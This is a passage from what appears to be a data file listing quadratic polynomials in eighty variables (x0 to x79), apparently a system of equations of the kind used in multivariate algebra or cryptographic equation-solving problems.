x61*x71 + x61*x72 + x61*x74 + x61*x76 + x61 + x62*x65 + x62*x67 + x62*x68 + x62*x73 + x62*x75 + x62*x76 + x62*x78 + x62 + x63*x64 + x63*x65 + x63*x66 + x63*x67 + x63*x70 + x63*x71 + x63*x73 + x63*x74 + x63*x75 + x63*x76 + x63*x78 + x64*x65 + x64*x66 + x64*x67 + x64*x68 + x64*x71 + x64*x75 + x64*x76 + x64*x79 + x65*x69 + x65*x70 + x65*x71 + x65*x75 + x65*x76 + x65*x78 + x65 + x66*x69 + x66*x70 + x66*x71 + x66*x72 + x66*x74 + x66*x75 + x66*x77 + x66*x78 + x66*x79 + x66 + x67*x71 + x67*x72 + x67*x76 + x67*x77 + x67*x78 + x67*x79 + x68*x69 + x68*x70 + x68*x72 + x68*x74 + x68*x75 + x68*x77 + x68*x79 + x69*x71 + x69*x73 + x69*x74 + x69*x77 + x69 + x70*x71 + x70*x75 + x70*x76 + x70 + x71*x74 + x71*x75 + x71*x76 + x72*x75 + x72 + x73*x76 + x73*x77 + x73 + x74*x76 + x74*x77 + x74*x78 + x74 + x75*x77 + x75*x78 + x75*x79 + x76*x77 + x77*x78 + x78, x0*x1 + x0*x2 + x0*x7 + x0*x9 + x0*x10 + x0*x12 + x0*x13 + x0*x15 + x0*x18 + x0*x19 + x0*x21 + x0*x22 + x0*x23 + x0*x25 + x0*x33 + x0*x34 + x0*x36 + x0*x37 + x0*x44 + x0*x45 + x0*x46 + x0*x49 + x0*x50 + x0*x52 + x0*x56 + x0*x57 + x0*x62 + x0*x64 + x0*x66 + x0*x67 + x0*x69 + x0*x70 + x0*x72 + x0*x73 + x0*x74 + x0*x75 + x0*x76 + x0*x77 + x0*x78 + x0 + x1*x2 + x1*x6 + x1*x7 + x1*x9 + x1*x10 + x1*x11 + x1*x14 + x1*x16 + x1*x18 + x1*x19 + x1*x20 + x1*x21 + x1*x26 + x1*x27 + x1*x28 + x1*x29 + x1*x33 + x1*x34 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x42 + x1*x45 + x1*x46 + x1*x48 + x1*x51 + x1*x58 + x1*x59 + x1*x61 + x1*x62 + x1*x63 + x1*x65 + x1*x66 + x1*x67 + x1*x71 + x1*x73 + x1*x74 + x1*x76 + x1*x78 + x1*x79 + x1 + x2*x3 + x2*x4 + x2*x5 + x2*x7 + x2*x9 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x23 + x2*x24 + x2*x27 + x2*x28 + x2*x29 + x2*x30 + x2*x31 + x2*x33 + x2*x34 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x44 + x2*x45 + x2*x47 + x2*x48 + x2*x49 + x2*x50 + x2*x51 + x2*x52 + x2*x53 + x2*x55 + x2*x58 + x2*x60 + x2*x63 + x2*x67 + x2*x68 + x2*x71 + x2*x75 + x2*x77 + x2*x78 + x2*x79 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x9 + x3*x10 + x3*x11 + x3*x12 + x3*x14 + x3*x15 + x3*x20 + x3*x21 + x3*x23 + x3*x24 + x3*x26 + x3*x30 + x3*x33 + x3*x35 + x3*x38 + x3*x39 + x3*x41 + x3*x43 + x3*x44 + x3*x45 + x3*x46 + x3*x47 + x3*x48 + x3*x49 + x3*x52 + x3*x53 + x3*x55 + x3*x56 + x3*x58 + x3*x61 + x3*x63 + x3*x65 + x3*x66 + x3*x70 + x3*x71 + x3*x76 + x3*x77 + x3 + x4*x6 + x4*x8 + x4*x9 + x4*x10 + x4*x12 + x4*x13 + x4*x15 + x4*x17 + x4*x19 + x4*x21 + x4*x22 + x4*x23 + x4*x25 + x4*x27 + x4*x30 + x4*x31 + x4*x32 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x39 + x4*x40 + x4*x47 + x4*x48 + x4*x50 + x4*x56 + x4*x57 + x4*x58 + x4*x59 + x4*x60 + x4*x62 + x4*x66 + x4*x72 + x4*x74 + x4*x76 + x4*x77 + x5*x6 + x5*x7 + x5*x8 + x5*x12 + x5*x13 + x5*x14 + x5*x21 + x5*x22 + x5*x23 + x5*x24 + x5*x26 + x5*x31 + x5*x32 + x5*x33 + x5*x35 + x5*x36 + x5*x38 + x5*x41 + x5*x42 + x5*x44 + x5*x45 + x5*x46 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x54 + x5*x58 + x5*x60 + x5*x61 + x5*x62 + x5*x63 + x5*x64 + x5*x66 + x5*x73 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x6*x9 + x6*x10 + x6*x11 + x6*x12 + x6*x14 + x6*x16 + x6*x21 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x29 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x36 + x6*x37 + x6*x40 + x6*x41 + x6*x43 + x6*x44 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x54 + x6*x55 + x6*x56 + x6*x58 + x6*x59 + x6*x61 + x6*x62 + x6*x65 + x6*x67 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x75 + x7*x9 + x7*x10 + x7*x11 + x7*x15 + x7*x17 + x7*x18 + x7*x22 + x7*x24 + x7*x25 + x7*x27 + x7*x30 + x7*x31 + x7*x32 + x7*x35 + x7*x38 + x7*x41 + x7*x44 + x7*x46 + x7*x51 + x7*x56 + x7*x58 + x7*x61 + x7*x64 + x7*x66 + x7*x67 + x7*x70 + x7*x72 + x7*x73 + x7*x75 + x7*x77 + x7 + x8*x10 + x8*x12 + x8*x13 + x8*x16 + x8*x18 + x8*x20 + x8*x22 + x8*x23 + x8*x25 + x8*x26 + x8*x27 + x8*x36 + x8*x38 + x8*x40 + x8*x44 + x8*x50 + x8*x51 + x8*x52 + x8*x53 + x8*x54 + x8*x55 + x8*x57 + x8*x59 + x8*x62 + x8*x68 + x8*x71 + x8*x79 + x9*x10 + x9*x11 + x9*x19 + x9*x20 + x9*x21 + x9*x22 + x9*x27 + x9*x29 + x9*x30 + x9*x31 + x9*x34 + x9*x35 + x9*x36 + x9*x40 + x9*x43 + x9*x44 + x9*x46 + x9*x48 + x9*x54 + x9*x57 + x9*x59 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x70 + x9*x76 + x9*x78 + x10*x12 + x10*x13 + x10*x18 + x10*x19 + x10*x20 + x10*x22 + x10*x23 + x10*x27 + x10*x34 + x10*x35 + x10*x36 + x10*x37 + x10*x41 + x10*x43 + x10*x47 + x10*x49 + x10*x50 + x10*x52 + x10*x57 + x10*x61 + x10*x64 + x10*x65 + x10*x66 + x10*x67 + x10*x69 + x10*x71 + x10*x73 + x10*x74 + x10*x77 + x11*x15 + x11*x17 + x11*x21 + x11*x22 + x11*x28 + x11*x31 + x11*x32 + x11*x35 + x11*x36 + x11*x37 + x11*x39 + x11*x41 + x11*x42 + x11*x49 + x11*x50 + x11*x55 + x11*x56 + x11*x57 + x11*x58 + x11*x62 + x11*x63 + x11*x67 + x11*x69 + x11*x70 + x11*x74 + x11*x76 + x11 + x12*x13 + x12*x16 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x23 + x12*x25 + x12*x26 + x12*x30 + x12*x32 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x38 + x12*x40 + x12*x41 + x12*x45 + x12*x46 + x12*x48 + x12*x51 + x12*x53 + x12*x54 + x12*x58 + x12*x59 + x12*x60 + x12*x61 + x12*x62 + x12*x64 + x12*x65 + x12*x67 + x12*x72 + x12*x73 + x12*x75 + x12*x79 + x12 + x13*x14 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x24 + x13*x29 + x13*x30 + x13*x31 + x13*x32 + x13*x33 + x13*x37 + x13*x40 + x13*x41 + x13*x45 + x13*x46 + x13*x49 + x13*x50 + x13*x52 + x13*x54 + x13*x57 + x13*x61 + x13*x69 + x13*x70 + x13*x71 + x13*x73 + x13*x76 + x13*x78 + x13 + x14*x15 + x14*x16 + x14*x21 + x14*x22 + x14*x23 + x14*x24 + x14*x26 + x14*x27 + x14*x28 + x14*x31 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x37 + x14*x38 + x14*x40 + x14*x41 + x14*x42 + x14*x44 + x14*x49 + x14*x50 + x14*x54 + x14*x55 + x14*x56 + x14*x61 + x14*x65 + x14*x67 + x14*x70 + x14*x77 + x14 + x15*x21 + x15*x25 + x15*x27 + x15*x28 + x15*x30 + x15*x32 + x15*x34 + x15*x35 + x15*x39 + x15*x40 + x15*x43 + x15*x45 + x15*x47 + x15*x52 + x15*x56 + x15*x57 + x15*x61 + x15*x62 + x15*x64 + x15*x67 + x15*x69 + x15*x70 + x15*x71 + x15*x72 + x15*x73 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x19 + x16*x22 + x16*x26 + x16*x28 + x16*x30 + x16*x31 + x16*x32 + x16*x33 + x16*x35 + x16*x37 + x16*x38 + x16*x42 + x16*x43 + x16*x46 + x16*x47 + x16*x57 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x64 + x16*x70 + x16*x72 + x16*x74 + x16*x75 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x21 + x17*x23 + x17*x30 + x17*x32 + x17*x33 + x17*x37 + x17*x40 + x17*x41 + x17*x42 + x17*x49 + x17*x52 + x17*x54 + x17*x55 + x17*x56 + x17*x57 + x17*x60 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x67 + x17*x72 + x17*x75 + x17*x77 + x17 + x18*x19 + x18*x20 + x18*x23 + x18*x29 + x18*x32 + x18*x35 + x18*x36 + x18*x37 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x45 + x18*x48 + x18*x50 + x18*x51 + x18*x53 + x18*x56 + x18*x57 + x18*x58 + x18*x61 + x18*x62 + x18*x64 + x18*x70 + x18*x71 + x18*x73 + x18*x74 + x18*x75 + x18*x77 + x18*x78 + x19*x20 + x19*x21 + x19*x22 + x19*x23 + x19*x24 + x19*x30 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x39 + x19*x40 + x19*x41 + x19*x47 + x19*x48 + x19*x49 + x19*x50 + x19*x52 + x19*x53 + x19*x55 + x19*x58 + x19*x61 + x19*x62 + x19*x65 + x19*x66 + x19*x68 + x19*x69 + x19*x72 + x19*x75 + x19*x77 + x19*x79 + x19 + x20*x21 + x20*x22 + x20*x24 + x20*x26 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x36 + x20*x37 + x20*x40 + x20*x42 + x20*x43 + x20*x44 + x20*x45 + x20*x47 + x20*x49 + x20*x50 + x20*x51 + x20*x52 + x20*x56 + x20*x58 + x20*x60 + x20*x61 + x20*x62 + x20*x63 + x20*x65 + x20*x71 + x20*x72 + x20*x73 + x20*x74 + x20*x77 + x20 + x21*x22 + x21*x25 + x21*x26 + x21*x31 + x21*x34 + x21*x36 + x21*x39 + x21*x40 + x21*x43 + x21*x46 + x21*x47 + x21*x48 + x21*x49 + x21*x51 + x21*x53 + x21*x54 + x21*x58 + x21*x59 + x21*x61 + x21*x62 + x21*x64 + x21*x66 + x21*x67 + x21*x70 + x21*x71 + x21*x72 + x21*x74 + x21*x79 + x22*x23 + x22*x24 + x22*x26 + x22*x27 + x22*x31 + x22*x32 + x22*x33 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x48 + x22*x49 + x22*x52 + x22*x54 + x22*x55 + x22*x56 + x22*x60 + x22*x63 + x22*x64 + x22*x66 + x22*x70 + x22*x76 + x22 + x23*x24 + x23*x25 + x23*x27 + x23*x28 + x23*x32 + x23*x35 + x23*x37 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x47 + x23*x49 + x23*x50 + x23*x51 + x23*x52 + x23*x56 + x23*x57 + x23*x59 + x23*x60 + x23*x62 + x23*x63 + x23*x70 + x23*x74 + x24*x25 + x24*x28 + x24*x30 + x24*x31 + x24*x33 + x24*x37 + x24*x38 + x24*x39 + x24*x41 + x24*x43 + x24*x46 + x24*x48 + x24*x50 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x56 + x24*x57 + x24*x58 + x24*x61 + x24*x62 + x24*x63 + x24*x65 + x24*x67 + x24*x68 + x24*x70 + x24*x71 + x24*x72 + x24*x79 + x25*x28 + x25*x29 + x25*x30 + x25*x31 + x25*x35 + x25*x39 + x25*x41 + x25*x42 + x25*x43 + x25*x46 + x25*x47 + x25*x50 + x25*x51 + x25*x56 + x25*x59 + x25*x60 + x25*x63 + x25*x64 + x25*x68 + x25*x69 + x25*x72 + x25*x74 + x25*x76 + x26*x27 + x26*x28 + x26*x30 + x26*x31 + x26*x34 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x43 + x26*x44 + x26*x49 + x26*x50 + x26*x51 + x26*x53 + x26*x54 + x26*x55 + x26*x57 + x26*x58 + x26*x60 + x26*x63 + x26*x64 + x26*x65 + x26*x66 + x26*x68 + x26*x73 + x26*x76 + x27*x28 + x27*x29 + x27*x31 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x37 + x27*x38 + x27*x39 + x27*x40 + x27*x43 + x27*x44 + x27*x45 + x27*x47 + x27*x50 + x27*x54 + x27*x56 + x27*x58 + x27*x59 + x27*x60 + x27*x61 + x27*x65 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x28*x29 + x28*x30 + x28*x34 + x28*x36 + x28*x37 + x28*x40 + x28*x42 + x28*x45 + x28*x46 + x28*x47 + x28*x48 + x28*x49 + x28*x52 + x28*x57 + x28*x58 + x28*x60 + x28*x61 + x28*x65 + x28*x66 + x28*x67 + x28*x68 + x28*x69 + x28*x71 + x28*x72 + x28*x73 + x28 + x29*x31 + x29*x32 + x29*x34 + x29*x36 + x29*x38 + x29*x40 + x29*x42 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x48 + x29*x51 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x60 + x29*x65 + x29*x67 + x29*x71 + x29*x73 + x29*x75 + x29*x77 + x29*x78 + x29*x79 + x29 + x30*x31 + x30*x33 + x30*x34 + x30*x39 + x30*x42 + x30*x44 + x30*x45 + x30*x47 + x30*x48 + x30*x50 + x30*x53 + x30*x55 + x30*x57 + x30*x60 + x30*x64 + x30*x65 + x30*x66 + x30*x67 + x30*x68 + x30*x70 + x30*x72 + x30*x73 + x30*x74 + x30*x75 + x30*x77 + x30*x79 + x30 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x36 + x31*x37 + x31*x42 + x31*x43 + x31*x46 + x31*x47 + x31*x49 + x31*x53 + x31*x56 + x31*x58 + x31*x59 + x31*x61 + x31*x63 + x31*x65 + x31*x66 + x31*x67 + x31*x68 + x31*x70 + x31*x74 + x31*x75 + x31*x76 + x31*x77 + x31*x78 + x32*x34 + x32*x35 + x32*x36 + x32*x40 + x32*x41 + x32*x42 + x32*x44 + x32*x45 + x32*x47 + x32*x50 + x32*x53 + x32*x56 + x32*x58 + x32*x59 + x32*x61 + x32*x63 + x32*x65 + x32*x66 + x32*x72 + x32*x73 + x32*x78 + x33*x35 + x33*x36 + x33*x38 + x33*x40 + x33*x41 + x33*x46 + x33*x47 + x33*x49 + x33*x51 + x33*x56 + x33*x58 + x33*x61 + x33*x63 + x33*x64 + x33*x69 + x33*x70 + x33*x72 + x33*x74 + x33*x78 + x33*x79 + x33 + x34*x35 + x34*x36 + x34*x38 + x34*x43 + x34*x46 + x34*x50 + x34*x51 + x34*x53 + x34*x54 + x34*x55 + x34*x56 + x34*x58 + x34*x60 + x34*x61 + x34*x63 + x34*x65 + x34*x67 + x34*x68 + x34*x71 + x34*x74 + x34*x78 + x34*x79 + x34 + x35*x39 + x35*x40 + x35*x42 + x35*x43 + x35*x46 + x35*x47 + x35*x48 + x35*x50 + x35*x51 + x35*x52 + x35*x54 + x35*x55 + x35*x57 + x35*x58 + x35*x62 + x35*x63 + x35*x66 + x35*x67 + x35*x68 + x35*x69 + x35*x71 + x35*x73 + x35*x75 + x35*x76 + x35 + x36*x37 + x36*x38 + x36*x40 + x36*x42 + x36*x43 + x36*x45 + x36*x47 + x36*x54 + x36*x55 + x36*x57 + x36*x63 + x36*x66 + x36*x67 + x36*x69 + x36*x72 + x36*x73 + x36*x74 + x36*x76 + x36*x79 + x37*x40 + x37*x43 + x37*x45 + x37*x47 + x37*x48 + x37*x52 + x37*x54 + x37*x55 + x37*x56 + x37*x58 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x77 + x37*x78 + x37*x79 + x38*x41 + x38*x42 + x38*x48 + x38*x49 + x38*x52 + x38*x53 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x61 + x38*x62 + x38*x64 + x38*x66 + x38*x67 + x38*x68 + x38*x69 + x38*x71 + x38*x73 + x38*x75 + x38*x76 + x38*x77 + x38*x78 + x39*x40 + x39*x42 + x39*x44 + x39*x46 + x39*x48 + x39*x49 + x39*x51 + x39*x53 + x39*x57 + x39*x59 + x39*x60 + x39*x63 + x39*x64 + x39*x67 + x39*x68 + x39*x72 + x39*x75 + x39*x77 + x39*x79 + x40*x43 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x56 + x40*x57 + x40*x58 + x40*x59 + x40*x62 + x40*x66 + x40*x68 + x40*x70 + x40*x72 + x40*x74 + x40*x75 + x40*x78 + x41*x43 + x41*x46 + x41*x48 + x41*x50 + x41*x52 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x58 + x41*x59 + x41*x60 + x41*x62 + x41*x68 + x41*x69 + x41*x70 + x41*x74 + x41*x75 + x41*x76 + x41*x78 + x41*x79 + x42*x43 + x42*x44 + x42*x46 + x42*x48 + x42*x49 + x42*x53 + x42*x54 + x42*x55 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x65 + x42*x67 + x42*x69 + x42*x70 + x42*x73 + x42*x78 + x43*x47 + x43*x48 + x43*x49 + x43*x51 + x43*x52 + x43*x56 + x43*x58 + x43*x61 + x43*x62 + x43*x63 + x43*x64 + x43*x69 + x43*x70 + x43*x71 + x43*x74 + x43*x75 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x44*x50 + x44*x51 + x44*x52 + x44*x53 + x44*x54 + x44*x55 + x44*x57 + x44*x58 + x44*x60 + x44*x64 + x44*x65 + x44*x67 + x44*x68 + x44*x73 + x44*x74 + x44*x75 + x44*x76 + x44*x79 + x44 + x45*x51 + x45*x52 + x45*x53 + x45*x54 + x45*x56 + x45*x58 + x45*x59 + x45*x60 + x45*x64 + x45*x68 + x45*x70 + x45*x71 + x45*x72 + x45*x73 + x45*x74 + x45*x76 + x45*x77 + x45*x79 + x45 + x46*x47 + x46*x50 + x46*x52 + x46*x53 + x46*x54 + x46*x56 + x46*x60 + x46*x63 + x46*x64 + x46*x66 + x46*x68 + x46*x69 + x46*x70 + x46*x72 + x46*x75 + x46*x76 + x46*x78 + x46*x79 + x47*x49 + x47*x50 + x47*x51 + x47*x53 + x47*x55 + x47*x56 + x47*x64 + x47*x66 + x47*x69 + x47*x71 + x47*x74 + x47*x75 + x47*x76 + x47*x78 + x47*x79 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x59 + x48*x61 + x48*x62 + x48*x63 + x48*x64 + x48*x66 + x48*x73 + x48*x74 + x48*x75 + x48*x77 + x48*x78 + x48 + x49*x50 + x49*x53 + x49*x58 + x49*x59 + x49*x62 + x49*x64 + x49*x66 + x49*x67 + x49*x68 + x49*x73 + x49*x74 + x49*x76 + x49*x78 + x49 + x50*x51 + x50*x54 + x50*x58 + x50*x59 + x50*x64 + x50*x67 + x50*x68 + x50*x70 + x50*x71 + x50*x72 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x57 + x51*x59 + x51*x62 + x51*x65 + x51*x68 + x51*x69 + x51*x70 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x76 + x51*x77 + x51*x78 + x51 + x52*x55 + x52*x56 + x52*x58 + x52*x63 + x52*x65 + x52*x66 + x52*x71 + x52*x72 + x52*x73 + x52*x74 + x52*x77 + x52*x78 + x53*x57 + x53*x60 + x53*x62 + x53*x64 + x53*x65 + x53*x66 + x53*x67 + x53*x70 + x53*x71 + x53*x74 + x53*x76 + x53*x77 + x54*x57 + x54*x61 + x54*x63 + x54*x64 + x54*x69 + x54*x73 + x54*x74 + x54*x77 + x54*x79 + x54 + x55*x56 + x55*x57 + x55*x60 + x55*x62 + x55*x65 + x55*x71 + x55*x74 + x55*x75 + x55*x77 + x55*x78 + x55*x79 + x56*x61 + x56*x69 + x56*x70 + x56*x71 + x56*x72 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x56 + x57*x61 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x69 + x57*x75 + x57*x76 + x57*x78 + x57 + x58*x59 + x58*x65 + x58*x66 + x58*x68 + x58*x70 + x58 + x59*x65 + x59*x66 + x59*x67 + x59*x69 + x59*x71 + x59*x73 + x59*x76 + x59*x79 + x60*x61 + x60*x62 + x60*x64 + x60*x65 + x60*x69 + x60*x75 + x60*x76 + x60*x78 + x60*x79 + x60 + x61*x64 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x76 + x61*x79 + x61 + x62*x63 + x62*x64 + x62*x67 + x62*x68 + x62*x70 + x62*x73 + x62*x74 + x62*x77 + x62*x78 + x62*x79 + x62 + x63*x66 + x63*x68 + x63*x69 + x63*x70 + x63*x72 + x63*x73 + x63*x74 + x63*x77 + x63*x78 + x64*x67 + x64*x69 + x64*x73 + x64*x77 + x64 + x65*x66 + x65*x68 + x65*x71 + x65*x73 + x65*x74 + x65*x75 + x65*x77 + x65*x79 + x65 + x66*x67 + x66*x68 + x66*x69 + x66*x70 + x66*x73 + x66*x75 + x66*x78 + x66*x79 + x66 + x67*x75 + x67*x77 + x67 + x68*x71 + x68*x73 + x68*x74 + x68*x75 + x68 + x69*x73 + x69*x74 + x69*x76 + x69*x77 + x69*x79 + x70*x71 + x70*x72 + x70*x73 + x70 + x71*x73 + x71*x74 + x71*x75 + x71*x76 + x71*x79 + x72*x73 + x72*x76 + x72*x78 + x72*x79 + x72 + x73*x77 + x74*x75 + x74*x76 + x74*x77 + x74*x79 + x75*x76 + x75*x79 + x76*x77 + x76 + x77*x78 + x77 + x78 + x79 + 1, x0*x2 + x0*x3 + x0*x4 + x0*x7 + x0*x8 + x0*x9 + x0*x11 + x0*x14 + x0*x15 + x0*x19 + x0*x22 + x0*x23 + x0*x27 + x0*x30 + x0*x32 + x0*x33 + x0*x40 + x0*x41 + x0*x44 + x0*x48 + x0*x51 + x0*x54 + x0*x55 + x0*x57 + x0*x59 + x0*x63 + x0*x64 + x0*x67 + x0*x68 + x0*x69 + x0*x71 + x0*x73 + x0*x75 + x0*x77 + x0*x78 + x0*x79 + x0 + x1*x3 + x1*x7 + x1*x8 + x1*x11 + x1*x16 + x1*x17 + x1*x19 + x1*x20 + x1*x22 + x1*x23 + x1*x26 + x1*x28 + x1*x29 + x1*x31 + x1*x36 + x1*x40 + x1*x42 + x1*x44 + x1*x45 + x1*x46 + x1*x49 + x1*x50 + x1*x52 + x1*x54 + x1*x56 + x1*x57 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x70 + x1*x71 + x1*x72 + x1*x73 + x1*x75 + x1*x76 + x1*x77 + x2*x4 + x2*x5 + x2*x8 + x2*x10 + x2*x11 + x2*x14 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x23 + x2*x24 + x2*x26 + x2*x29 + x2*x30 + x2*x33 + x2*x34 + x2*x35 + x2*x37 + x2*x40 + x2*x42 + x2*x44 + x2*x45 + x2*x47 + x2*x48 + x2*x49 + x2*x50 + x2*x51 + x2*x52 + x2*x53 + x2*x55 + x2*x57 + x2*x61 + x2*x62 + x2*x63 + x2*x64 + x2*x66 + x2*x67 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x75 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x9 + x3*x11 + x3*x12 + x3*x14 + x3*x15 + x3*x16 + x3*x17 + x3*x19 + x3*x21 + x3*x25 + x3*x26 + x3*x27 + x3*x30 + x3*x33 + x3*x34 + x3*x40 + x3*x42 + x3*x44 + x3*x46 + x3*x47 + x3*x48 + x3*x49 + x3*x55 + x3*x58 + x3*x67 + x3*x69 + x3*x70 + x3*x79 + x3 + x4*x6 + x4*x7 + x4*x11 + x4*x12 + x4*x15 + x4*x17 + x4*x18 + x4*x19 + x4*x27 + x4*x28 + x4*x29 + x4*x32 + x4*x38 + x4*x39 + x4*x40 + x4*x41 + x4*x42 + x4*x44 + x4*x45 + x4*x46 + x4*x49 + x4*x50 + x4*x51 + x4*x53 + x4*x57 + x4*x58 + x4*x62 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x78 + x4*x79 + x5*x7 + x5*x8 + x5*x10 + x5*x11 + x5*x14 + x5*x17 + x5*x18 + x5*x21 + x5*x22 + x5*x23 + x5*x24 + x5*x27 + x5*x29 + x5*x30 + x5*x34 + x5*x35 + x5*x37 + x5*x38 + x5*x41 + x5*x44 + x5*x47 + x5*x48 + x5*x50 + x5*x51 + x5*x52 + x5*x54 + x5*x55 + x5*x56 + x5*x57 + x5*x58 + x5*x59 + x5*x60 + x5*x62 + x5*x63 + x5*x71 + x5*x72 + x5*x73 + x5*x74 + x5*x75 + x5*x76 + x5 + x6*x7 + x6*x9 + x6*x17 + x6*x18 + x6*x19 + x6*x21 + x6*x25 + x6*x27 + x6*x29 + x6*x33 + x6*x35 + x6*x37 + x6*x41 + x6*x43 + x6*x46 + x6*x47 + x6*x48 + x6*x50 + x6*x52 + x6*x59 + x6*x60 + x6*x61 + x6*x62 + x6*x63 + x6*x65 + x6*x66 + x6*x68 + x6*x69 + x6*x71 + x6*x73 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x12 + x7*x13 + x7*x17 + x7*x21 + x7*x23 + x7*x24 + x7*x28 + x7*x29 + x7*x32 + x7*x34 + x7*x36 + x7*x38 + x7*x39 + x7*x40 + x7*x41 + x7*x42 + x7*x48 + x7*x50 + x7*x53 + x7*x54 + x7*x56 + x7*x58 + x7*x60 + x7*x63 + x7*x64 + x7*x65 + x7*x66 + x7*x67 + x7*x68 + x7*x69 + x7*x71 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x7 + x8*x10 + x8*x12 + x8*x13 + x8*x19 + x8*x20 + x8*x21 + x8*x25 + x8*x27 + x8*x28 + x8*x32 + x8*x34 + x8*x35 + x8*x36 + x8*x40 + x8*x41 + x8*x42 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x48 + x8*x49 + x8*x50 + x8*x60 + x8*x61 + x8*x67 + x8*x68 + x8*x69 + x8*x70 + x8*x72 + x8*x73 + x8*x74 + x8*x76 + x8*x77 + x8*x79 + x9*x10 + x9*x14 + x9*x16 + x9*x17 + x9*x19 + x9*x20 + x9*x22 + x9*x24 + x9*x25 + x9*x29 + x9*x30 + x9*x35 + x9*x37 + x9*x39 + x9*x40 + x9*x41 + x9*x42 + x9*x43 + x9*x46 + x9*x50 + x9*x51 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x64 + x9*x65 + x9*x67 + x9*x68 + x9*x69 + x9*x74 + x9*x78 + x10*x11 + x10*x13 + x10*x14 + x10*x18 + x10*x19 + x10*x22 + x10*x24 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x30 + x10*x31 + x10*x32 + x10*x33 + x10*x34 + x10*x35 + x10*x36 + x10*x39 + x10*x42 + x10*x44 + x10*x46 + x10*x47 + x10*x49 + x10*x50 + x10*x52 + x10*x54 + x10*x56 + x10*x57 + x10*x60 + x10*x61 + x10*x62 + x10*x63 + x10*x65 + x10*x67 + x10*x68 + x10*x69 + x10*x70 + x10*x75 + x10*x78 + x10*x79 + x10 + x11*x14 + x11*x15 + x11*x16 + x11*x18 + x11*x20 + x11*x21 + x11*x23 + x11*x24 + x11*x26 + x11*x29 + x11*x30 + x11*x33 + x11*x34 + x11*x35 + x11*x36 + x11*x37 + x11*x39 + x11*x48 + x11*x49 + x11*x50 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x59 + x11*x63 + x11*x66 + x11*x68 + x11*x69 + x11*x70 + x11*x72 + x11*x75 + x11*x76 + x11*x79 + x12*x14 + x12*x15 + x12*x16 + x12*x18 + x12*x20 + x12*x21 + x12*x23 + x12*x24 + x12*x25 + x12*x26 + x12*x27 + x12*x28 + x12*x32 + x12*x33 + x12*x36 + x12*x48 + x12*x49 + x12*x50 + x12*x51 + x12*x52 + x12*x53 + x12*x56 + x12*x58 + x12*x60 + x12*x62 + x12*x63 + x12*x64 + x12*x66 + x12*x68 + x12*x69 + x12*x70 + x12*x73 + x12*x76 + x13*x15 + x13*x19 + x13*x26 + x13*x28 + x13*x29 + x13*x31 + x13*x32 + x13*x33 + x13*x35 + x13*x36 + x13*x38 + x13*x42 + x13*x44 + x13*x45 + x13*x50 + x13*x51 + x13*x52 + x13*x53 + x13*x54 + x13*x55 + x13*x57 + x13*x58 + x13*x59 + x13*x60 + x13*x62 + x13*x64 + x13*x65 + x13*x68 + x13*x70 + x13*x71 + x13*x73 + x13*x77 + x13*x78 + x14*x17 + x14*x20 + x14*x21 + x14*x22 + x14*x23 + x14*x25 + 